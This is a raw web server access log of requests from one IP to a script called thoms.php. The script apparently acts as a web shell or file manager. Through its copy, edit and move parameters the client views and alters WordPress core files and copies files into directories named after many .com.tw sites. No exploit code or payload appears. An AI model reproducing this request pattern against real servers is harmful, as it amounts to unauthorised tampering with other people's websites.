45.135.193.11 - - [11/Sep/2026:23:17:20 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=bossini.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fupgrade&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:20 -0400] "GET /thoms.php?edit=index.php&p=bestzyx.com.tw HTTP/1.1" 200 11816 "http://163.245.207.76:443/thoms.php?edit=index.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:20 -0400] "GET /thoms.php?edit=index.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 15436 "http://163.245.207.76:443/thoms.php?edit=index.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:20 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:20 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:20 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:20 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 19509 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21611 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:20 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:20 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:20 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11407 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:20 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:20 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:20 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 19508 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:21 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p= HTTP/1.1" 200 12274 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:21 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11326 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:21 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:21 -0400] "GET /thoms.php?edit=wp-settings.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 22849 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:21 -0400] "GET /thoms.php?edit=wp-settings.php&p=bestzyx.com.tw HTTP/1.1" 200 19228 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:21 -0400] "GET /thoms.php?edit=license.txt&p=bestzyx.com.tw HTTP/1.1" 200 19835 "http://163.245.207.76:443/thoms.php?edit=license.txt&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:21 -0400] "GET /thoms.php?edit=license.txt&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 23493 "http://163.245.207.76:443/thoms.php?edit=license.txt&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:21 -0400] "GET /thoms.php?edit=wp-cron.php&p=bestzyx.com.tw HTTP/1.1" 200 13947 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:21 -0400] "GET /thoms.php?edit=wp-cron.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 17540 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:21 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:21 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:21 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p= HTTP/1.1" 200 12261 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:21 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 19508 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:21 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:21 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:21 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11857 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21678 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 19608 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11314 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?edit=wp-comments-post.php&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 16366 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?edit=wp-comments-post.php&p=bestzyx.com.tw HTTP/1.1" 200 12774 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 19771 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21677 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 19783 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:22 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11832 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p= HTTP/1.1" 200 12225 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11315 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-signup.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=bogroup.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=booking-wise2.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21719 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=big-wife.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21678 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=ba-guo.com.tw HTTP/1.1" 200 11331 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:23 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=besth2o.com.tw HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=upgrade HTTP/1.1" 200 11375 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=wp-content-20260912023544 HTTP/1.1" 200 11379 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=betcity.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p=bft.com.tw HTTP/1.1" 200 11441 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.well-known&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
